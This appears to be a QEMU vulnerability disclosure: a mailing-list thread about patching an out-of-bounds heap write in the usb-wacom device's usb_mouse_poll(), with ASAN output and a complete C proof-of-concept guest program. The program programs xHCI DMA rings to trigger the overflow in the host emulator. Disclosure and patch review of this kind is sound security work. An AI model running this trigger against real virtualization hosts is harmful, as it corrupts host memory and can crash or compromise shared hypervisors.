Qemu cmd and guest poc
/home/test/qemu/qemu-7.1.0/build/qemu-system-x86_64 -kernel
/home/test/kernel/linux-5.10/arch/x86/boot/bzImage -initrd
/home/test/rootfs/rootfs.cpio_root -append "root=/dev/ram rw console=tty
console=ttyS0 nokaslr" -m 512M -nographic -monitor /dev/null -drive
file=null-co://,if=none,format=raw,id=disk0 -device qemu-xhci,id=xhci -device
usb-tablet,bus=xhci.0 -device usb-mouse -device usb-wacom-tablet
-----邮件原件-----
发件人: Mauro Matteo Cascella [mailto:[email protected]]
发送时间: 2023年2月14日 18:48
收件人: Philippe Mathieu-Daudé <[email protected]>
抄送: [email protected]; [email protected]; ningqiang (A)
<[email protected]>; soul chen <[email protected]>
主题: Re: [PATCH] usb/dev-wacom: fix OOB write in usb_mouse_poll()
Hi Philippe,
On Mon, Feb 13, 2023 at 7:26 PM Philippe Mathieu-Daudé <[email protected]>
wrote:
>
> Hi Mauro,
>
> On 13/2/23 18:41, Mauro Matteo Cascella wrote:
> > The guest can control the size of buf; an OOB write occurs when buf
> > is 1 or 2 bytes long. Only fill in the buffer as long as there is
> > enough space, throw away any data which doesn't fit.
>
> Any reproducer?
No qtest reproducer, we do have a PoC module to compile & load from within the
guest. This is ASAN output:
=================================================================
==28803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0 WRITE of
size 1 at 0x602000fccdd1 thread T2
#0 0x560f4ebba899 in usb_mouse_poll ../hw/usb/dev-wacom.c:256
#1 0x560f4ebbcaf9 in usb_wacom_handle_data ../hw/usb/dev-wacom6
#2 0x560f4eaef297 in usb_device_handle_data ../hw/usb/bus.c:180
#3 0x560f4eb00bbb in usb_process_one ../hw/usb/core.c:406
#4 0x560f4eb01883 in usb_handle_packet ../hw/usb/core.c:438
#5 0x560f4eb94e0c in xhci_submit ../hw/usb/hcd-xhci.c:1801
#6 0x560f4eb9505f in xhci_fire_transfer ../hw/usb/hcd-xhci.c:10
#7 0x560f4eb9773c in xhci_kick_epctx ../hw/usb/hcd-xhci.c:1969
#8 0x560f4eb953f2 in xhci_kick_ep ../hw/usb/hcd-xhci.c:1835
#9 0x560f4eba416d in xhci_doorbell_write ../hw/usb/hcd-xhci.c:7
#10 0x560f4f5343a8 in memory_region_write_accessor ../softmmu/2
#11 0x560f4f53483f in access_with_adjusted_size ../softmmu/mem4
#12 0x560f4f541e69 in memory_region_dispatch_write ../softmmu/4
#13 0x560f4f57afec in flatview_write_continue ../softmmu/physm5
#14 0x560f4f57b40f in flatview_write ../softmmu/physmem.c:2867
#15 0x560f4f579617 in subpage_write ../softmmu/physmem.c:2501
#16 0x560f4f5346dc in memory_region_write_with_attrs_accessor 3
#17 0x560f4f53483f in access_with_adjusted_size ../softmmu/mem4
#18 0x560f4f542075 in memory_region_dispatch_write ../softmmu/1
#19 0x560f4f727735 in io_writex ../accel/tcg/cputlb.c:1429
#20 0x560f4f72c19d in store_helper ../accel/tcg/cputlb.c:2379
#21 0x560f4f72c5ec in full_le_stl_mmu ../accel/tcg/cputlb.c:247
#22 0x560f4f72c62a in helper_le_stl_mmu ../accel/tcg/cputlb.c:3
#23 0x7fcf063941a3 (/memfd:tcg-jit (deleted)+0x27541a3)
<cut>
Also forgot to give credits:
Reported-by: ningqiang1 <[email protected]>
Reported-by: SorryMybad of Kunlun Lab <[email protected]>
> > Signed-off-by: Mauro Matteo Cascella <[email protected]>
> > ---
> > hw/usb/dev-wacom.c | 20 +++++++++++++-------
> > 1 file changed, 13 insertions(+), 7 deletions(-)
> >
> > diff --git a/hw/usb/dev-wacom.c b/hw/usb/dev-wacom.c index
> > 7177c17f03..ca9e6aa82f 100644
> > --- a/hw/usb/dev-wacom.c
> > +++ b/hw/usb/dev-wacom.c
> > @@ -252,14 +252,20 @@ static int usb_mouse_poll(USBWacomState *s, uint8_t
> > *buf, int len)
> > if (s->buttons_state & MOUSE_EVENT_MBUTTON)
> > b |= 0x04;
> >
> > - buf[0] = b;
> > - buf[1] = dx;
> > - buf[2] = dy;
> > - l = 3;
> > - if (len >= 4) {
> > - buf[3] = dz;
> > - l = 4;
> > + l = 0;
> > + if (len > l) {
> > + buf[l++] = b;
> > }
> > + if (len > l) {
> > + buf[l++] = dx;
> > + }
>
> else { // the packet is now corrupted... }
>
> > + if (len > l) {
> > + buf[l++] = dy;
> > + }
> > + if (len > l) {
> > + buf[l++] = dz;
> > + }
> > +
> > return l;
> > }
>
> Better is to wait for enough data to process:
>
> -- >8 --
> diff --git a/hw/usb/dev-wacom.c b/hw/usb/dev-wacom.c index
> 7177c17f03..2fe2a9220e 100644
> --- a/hw/usb/dev-wacom.c
> +++ b/hw/usb/dev-wacom.c
> @@ -244,6 +244,9 @@ static int usb_mouse_poll(USBWacomState *s,
> uint8_t *buf, int len)
> s->dy -= dy;
> s->dz -= dz;
>
> + if (len < 3)
> + return 0;
> +
> b = 0;
> if (s->buttons_state & MOUSE_EVENT_LBUTTON)
> b |= 0x01;
> @@ -274,6 +277,9 @@ static int usb_wacom_poll(USBWacomState *s,
> uint8_t *buf, int len)
> s->mouse_grabbed = 1;
> }
>
> + if (len < 7)
> + return 0;
> +
> b = 0;
> if (s->buttons_state & MOUSE_EVENT_LBUTTON)
> b |= 0x01;
> @@ -282,9 +288,6 @@ static int usb_wacom_poll(USBWacomState *s,
> uint8_t *buf, int len)
> if (s->buttons_state & MOUSE_EVENT_MBUTTON)
> b |= 0x20; /* eraser */
>
> - if (len < 7)
> - return 0;
> -
> buf[0] = s->mode;
> buf[5] = 0x00 | (b & 0xf0);
> buf[1] = s->x & 0xff;
> ---
>
I took inspiration from hid_pointer_poll() in hw/input/hid.c which fills in the
buffer as much as possible in a similar way, but your suggestion makes sense to
me. Gerd, wdyt?
Thanks,
--
Mauro Matteo Cascella
Red Hat Product Security
PGP-Key ID: BB3410B0
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
#define IOBASE 0xc040
#define USB_PIC_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define USBCMD_RS (1<<0)
#define USBCMD_HCRST (1<<1)
#define USBCMD_INTE (1<<2)
#define USBCMD_HSEE (1<<3)
#define USBCMD_LHCRST (1<<7)
#define USBCMD_CSS (1<<8)
#define USBCMD_CRS (1<<9)
#define USBCMD_EWE (1<<10)
#define USBCMD_EU3S (1<<11)
#define TRB_TR_ENT (1<<1)
#define TRB_TR_ISP (1<<2)
#define TRB_TR_NS (1<<3)
#define TRB_TR_CH (1<<4)
#define TRB_TR_IOC (1<<5)
#define TRB_TR_IDT (1<<6)
#define TRB_TYPE_SHIFT 10
#define TRB_CR_SLOTID_SHIFT 24
#define TRB_CR_SLOTID_MASK 0xff
#define TRB_CR_EPID_SHIFT 16
#define TRB_CR_EPID_MASK 0x1f
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define USB_TOKEN_IN 0x69 // device -> host
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_OUT 0xe1
#define EP_TYPE_SHIFT 3
#define TRB_C (1<<0)
typedef enum TRBType {
TRB_RESERVED = 0,
TR_NORMAL,
TR_SETUP, //2
TR_DATA,
TR_STATUS, //4
TR_ISOCH,
TR_LINK, //6
TR_EVDATA,
TR_NOOP,
CR_ENABLE_SLOT,
CR_DISABLE_SLOT,
CR_ADDRESS_DEVICE,
CR_CONFIGURE_ENDPOINT,
CR_EVALUATE_CONTEXT,
CR_RESET_ENDPOINT,
CR_STOP_ENDPOINT,
CR_SET_TR_DEQUEUE,
CR_RESET_DEVICE,
CR_FORCE_EVENT,
CR_NEGOTIATE_BW,
CR_SET_LATENCY_TOLERANCE,
CR_GET_PORT_BANDWIDTH,
CR_FORCE_HEADER,
CR_NOOP,
ER_TRANSFER = 32,
ER_COMMAND_COMPLETE,
ER_PORT_STATUS_CHANGE,
ER_BANDWIDTH_REQUEST,
ER_DOORBELL,
ER_HOST_CONTROLLER,
ER_DEVICE_NOTIFICATION,
ER_MFINDEX_WRAP,
CR_VENDOR_NEC_FIRMWARE_REVISION = 49,
CR_VENDOR_NEC_CHALLENGE_RESPONSE = 50,
} TRBType;
typedef enum EPType {
ET_INVALID = 0,
ET_ISO_OUT,
ET_BULK_OUT,
ET_INTR_OUT,
ET_CONTROL,
ET_ISO_IN,
ET_BULK_IN,
ET_INTR_IN,
} EPType;
typedef uint64_t dma_addr_t;
struct xhcitrb {
uint64_t parameter;
uint32_t status;
uint32_t control;
dma_addr_t addr;
bool ccs;
};
char *dmabuf, *mmio_xhci;
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY );
if (fd < 0)
{
perror("open(/proc/self/pagemap)");
exit(1);
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
close( fd );
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t virt_to_phys(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void xchi_write(uint32_t addr, uint32_t value)
{
*((uint32_t *)(mmio_xhci + addr)) = value;
}
uint64_t xchi_read(uint32_t addr)
{
return *((uint64_t *)(mmio_xhci + addr));
}
int init()
{
int xhci_fd = open(USB_PIC_FILE, O_RDWR | O_SYNC);
if( xhci_fd < 0 )
{
perror("xhci_fd open failed");
return -1;
}
mmio_xhci = (char *)mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED,
xhci_fd, 0);
if( mmio_xhci == MAP_FAILED )
{
perror("mmap mmio_xhci failed");
return -1;
}
printf( "mmap(xhci_fd) ok,mmio_xhci=%p\n", (void *)mmio_xhci );
dmabuf = (char *)mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
{
perror("mmap(0x5000)");
return -1;
}
//printf( "mmap(dmabuf) ok,dmabuf=%p\n", dmabuf );
mlock( dmabuf, 0x2000 );
}
//ok, heap oob-write in usb_mouse_poll()
//(gdb) p/x buf =$1 = 0x7fff8c8b4b20
//(gdb) p/x len = $2 = 0x1
int heap_oob_write()
{
int i;
uint32_t *ctx, *tmp;
uint64_t phy_cmd, phy_ctx;
struct xhcitrb *trb;
unsigned int port, epid, streamid, slotid;
uint64_t setup_len,request,value,index;
//xhci_run
xchi_write( 0x40, USBCMD_RS );
phy_cmd = virt_to_phys( dmabuf );
phy_ctx = virt_to_phys( dmabuf+0x1400 );
printf( "phy_cmd=0x%lx,phy_ctx=0x%lx\n", phy_cmd, phy_ctx );
//set xhci->crcr_low&crcr_high, call xhci_ring_init()
xchi_write( 0x40+0x18, phy_cmd&0x00000000ffffffff );
xchi_write( 0x40+0x1c, (phy_cmd&0xffffffff00000000)>>32 );
trb = (struct xhcitrb *)dmabuf;
ctx = (uint32_t *)(dmabuf+0x1400);
//one trb enable one port
trb = (struct xhcitrb *)(dmabuf); //enable port=3
trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
trb = (struct xhcitrb *)(dmabuf+0x10); //enable port=4
trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
trb = (struct xhcitrb *)(dmabuf+0x20); //enable port=5
trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
trb = (struct xhcitrb *)(dmabuf+0x30); //enable port=6
trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
trb = (struct xhcitrb *)(dmabuf+0x40); //enable port=7
trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
//xhci_process_commands ---> xhci_enable_slot
xchi_write( 0x2000, 0 );
//p xhci->slots[1].eps = {0x7fffe43d6570, 0x0, 0x7fffe437d370}
//epid must be 1, for xhci_enable_ep() in xhci_address_slot
epid = 0x3;
//slotid = 0x2;
//xhci->slots[i].uport = desc_device_wacom
slotid = 0x3;
//port=6+1 for desc_device_wacom, gdb in xhci_lookup_uport()
port = 0x7;
streamid = 3;
//xhci_process_commands --> xhci_address_slot
trb = (struct xhcitrb *)(dmabuf+0x50); //start form 0x40+0x10=0x50
trb->parameter = phy_ctx;
trb->control = (CR_ADDRESS_DEVICE<<TRB_TYPE_SHIFT)
|(epid<<TRB_CR_EPID_SHIFT) |(slotid<<TRB_CR_SLOTID_SHIFT)|0x1;
ctx[0] = 0x0;
ctx[1] = 0x3;
ctx[8] = 0x0;
ctx[9] = port<<16; //port=6+1 for
desc_device_wacom, gdb in xhci_lookup_uport()
//ictx+32+(32*i), (32+32)/4=16
ctx[16+0] = 0x0; //max_pstreams
ctx[16+1] = 0x10<<16; //max_psize
ctx[16+2] = phy_cmd+0x800; //dequeue
ctx[16+3] = 0; //dequeue
//xhci_process_commands --> xhci_configure_slot
trb = (struct xhcitrb *)(dmabuf+0x60);
trb->parameter = phy_ctx+0x200;
trb->control = (CR_CONFIGURE_ENDPOINT<<TRB_TYPE_SHIFT)
|(epid<<TRB_CR_EPID_SHIFT) |(slotid<<TRB_CR_SLOTID_SHIFT)|0x1;
//0x200/4=0x80
ctx[0x80+0] = 0x0;
ctx[0x80+1] = 0x1|1<<2|1<<3|1<<4|1<<5|1<<6;
for( i=1; i<5; i++ )
{
//dma_addr_t ictx, ictx+32+(32*i), (32+32)/4=16
ctx[0x80+8+8*i+0] = 0x1<<10|0x1<<15;
//max_pstreams(ctx[0] >> 10) & epctx->lsa(ctx[0] >> 15)
ctx[0x80+8+8*i+1] = ET_BULK_IN<<EP_TYPE_SHIFT; //epctx->type
ctx[0x80+8+8*i+2] = phy_cmd+0x600;
//ep_ctx, dequeue
ctx[0x80+8+8*i+3] = 0;
//dequeue
}
//for phy_cmd+0x600, make xhci_kick_epctx -> xhci_ring_fetch() ok
trb = (struct xhcitrb *)(dmabuf+0x600);
trb->control = (TR_STATUS<<TRB_TYPE_SHIFT)|TRB_TR_IDT; //ccs =
0x0
trb->status = 0x8;
trb->parameter = 0x1;
//stctx[i].pctx = base + streamid * 16;,
streamid=3,stctx[3].pctx=dmabuf+0x600+0x30
tmp = (uint32_t *)(dmabuf+0x600+streamid*16);
tmp[0] = 1<<1|phy_cmd+0x800; //set ring->->dequeue=phy_cmd+0x800
tmp[1] = 0; //ctx[1]=0
xchi_write( 0x2000, 0 );
request = 0x11;
value = 0x22;
index = 0x33;
setup_len = 0x40;
//first TR_SETUP, second TR_STATUS
trb = (struct xhcitrb *)(dmabuf+0x800);
trb->control = (TR_SETUP<<TRB_TYPE_SHIFT)|TRB_TR_IDT|TRB_C;
//ccs = 0x1
trb->status = 0x8;
trb->parameter =
0x8|0x80|(setup_len&0xff)<<48|(setup_len&0xff00)<<56|(request&0xff)<<8|(value&0xff)<<16|(index&0xff)<<32;
//0x80 for xfer->in_xfer=USB_TOKEN_IN
printf( "parameter=0x%lx\n", trb->parameter );
trb = (struct xhcitrb *)(dmabuf+0x810);
trb->control = (TR_NORMAL<<TRB_TYPE_SHIFT)|TRB_C; //ccs =
0x1
//set q->iov.iov_len=0x1, in usb_mouse_poll(), buf[2] = dy; will
oob-write
trb->status = 0x1; //chunk = trb->status, for qsg->sg.len=
trb->status, q->iov.iov_len=qsg->sg.len=trb->status.
trb->parameter = phy_cmd+0x1000;
trb = (struct xhcitrb *)(dmabuf+0x820);
trb->control = (TR_STATUS<<TRB_TYPE_SHIFT)|TRB_TR_IDT|TRB_C;
//ccs = 0x1
trb->status = 0x8;
//xhci_doorbell_write
xchi_write( 0x2000+slotid*4, epid|streamid<<16 );
return 0;
}
int main( int argc, char *argv[] )
{
iopl(3);
init();
heap_oob_write();
getchar();
return 0;
}
